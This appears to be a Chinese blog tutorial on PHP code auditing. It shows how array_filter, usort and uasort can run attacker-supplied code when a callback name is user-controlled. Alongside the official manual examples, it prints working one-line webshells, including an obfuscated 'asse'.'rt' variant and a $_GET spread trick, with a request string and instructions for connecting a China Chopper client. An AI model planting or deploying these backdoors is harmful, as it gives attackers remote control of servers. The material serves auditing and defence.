PHP代码审计之代码执行(四)

array_filter()

array_filter——用回调函数过滤数组中的单元

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
官方示例:

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

这段代码使用两个自定义函数分别对两个数组的奇数和偶数进行筛选过滤。

利用代码:

<?php
    $cmd='whoami';
    $arr1=array($cmd);
    $shell ='system';
    array_filter($array1,$shell);
?>

usort()

usort — 使用用户自定义的比较函数对数组中的值进行排序

usort ( array &$array , callable $value_compare_func ) : bool

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

官方示例:

<?php
function cmp($a, $b)
{
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
    //"<br/>"浏览器显示换行,源代码显示<br/>
    //"\n"浏览器不显示换行,源代码显示换行
}
?>

结果:0: 1 1: 2 2: 3 3: 5 4: 6

利用代码:
参考:https://xz.aliyun.com/t/252
…运算符,对就是三个点,该运算符可以将数组(必须是索引数组)或者可遍历的对象展开变为参数

编写一句话
先放出最终的代码

<?php usort(...$_GET);?>

那么$_GET变量中的值,应该是

[['$a=0','eval($_POST["x"])'],'assert'];

$_GET[0]是usort的第一个参数

$_GET[1]是usort的回调函数名

也就相当于

<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>

最终利用是这样的

?1[]=0&1[]=eval($_POST['x'])&2=assert

上面的一句话,只能在php环境>=5.6才能用

于是更新下,环境>=<5.6都可以的一句话

<?php usort($_GET,'asse'.'rt');?>

使用菜刀链接http://xxx.xx/xx.php??1[]=0&1[]=eval($_POST[‘x’])&2=assert 密码:x
在这里插入图片描述

uasort()

uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

uasort ( array &$array , callable $value_compare_func ) : bool

官方示例:

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);
?>

执行结果:

Array ( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4 ) 
Array ( [d] => -9 [h] => -4 [c] => -1 [e] => 2 [g] => 3 [a] => 4 [f] => 5 [b] => 8 )

一句话利用代码

<?php
	$cmd = $_GET['a'];
	$array = array('test', $_POST['m']);
	uasort($array, $cmd);
?>

在这里插入图片描述更多利用代码请参考:
奇淫异巧之 PHP 后门

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值